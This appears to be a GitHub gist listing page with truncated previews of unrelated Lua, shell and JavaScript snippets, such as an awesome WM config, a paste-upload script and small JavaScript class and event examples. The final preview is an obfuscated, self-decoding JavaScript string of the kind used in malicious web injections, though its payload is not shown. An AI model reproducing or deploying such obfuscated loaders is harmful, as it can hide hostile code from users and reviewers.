This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
---------------------------------------------------------------- | |
-- Manages global options -- | |
-- Copyright © 2012 Jonas Höglund <[email protected]> -- | |
---------------------------------------------------------------- | |
-- Grab environment we need | |
local string = string | |
local type = type | |
local pairs = pairs | |
local assert = assert |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
filename="" | |
case $# in | |
0) # no arguments; read from stdin into a randomly-named temp file. | |
tmpfile="/tmp/haste-$(uuidgen | cut -d- -f1)" | |
filename="$tmpfile" | |
cat >"$tmpfile" | |
;; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getYPositionNotCrowded() { | |
var maxCount = 1000 | |
, height = 4 | |
, i = 0 | |
, y | |
do { | |
y = nextYPosition() | |
if (++i > maxCount) { throw new Error("No position found!") } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var f = wrapFunc(function() { | |
function Fraction(nom, denom) { | |
this.nominator = nom | |
this.denominator = denom | |
} | |
Fraction.prototype['*'] = function(other) { | |
return new Fraction(this.nominator * other.nominator, | |
this.denominator * other.denominator) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var foo = { hello : 10 | |
, world : 20 | |
, foo : 30 | |
} | |
var blah = { | |
meh: 10, | |
qux: "hello world", | |
method: function() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Person = Base.inherit({ | |
// missing: name | |
// A person can tell you its name. | |
talk: function() { | |
return "Hello, I'm " + this.name | |
} | |
}) | |
var WorkingPerson = Person.inherit({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Foo = Base.extend({ | |
init: function() { | |
// ... | |
Base.init.call(this) | |
} | |
}) | |
// ...where Base.extend is defined as in https://gist.github.com/2000920 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Definition | |
function EventEmitter() { | |
var handlers = {} | |
this.on = function (event, cb) { | |
if (!handlers[event]) { | |
handlers[event] = [] | |
} | |
handlers[event].push(cb) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Standard awesome library | |
require("awful") | |
require("awful.autofocus") | |
require("awful.rules") | |
-- Theme handling library | |
require("beautiful") | |
-- Notification library | |
require("naughty") | |
require("vicious") | |
require("menu") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" + | |
"=39){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" + | |
".substr(0,ol);}f(\")95,\\\"YQ[v|c=tf,9y;:7}1=5;;9%?9'!700\\\\)#**|c430\\\\S" + | |
"W\\\\\\\\Q~230\\\\XQA620\\\\Fa320\\\\FRQ[@Bot\\\\v420\\\\MKRLP300\\\\000\\\\"+ | |
"}Npwi}vhv~y_5f|t1d|ksse,@010\\\\030\\\\730\\\\320\\\\230\\\\200\\\\500\\\\J" + | |
"100\\\\220\\\\\\\\\\\\430\\\\730\\\\410\\\\@610\\\\000\\\\610\\\\630\\\\430" + | |
"\\\\430\\\\610\\\\220\\\\620\\\\n\\\\n\\\\\\\"\\\\610\\\\600\\\\17g3/609:tt" + | |
"\\\\i57#8o/qnc$%-3/73m6/%RK^S_\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoC" + | |
"rahCmorf.gnirtS=+o;721=%y;2=*y))y+95(>i(fi{)++i;l<i;0=i(rof;htgnel.x=l,\\\"" + | |
"\\\"=o,i rav{)y,x(f noitcnuf\")" ; |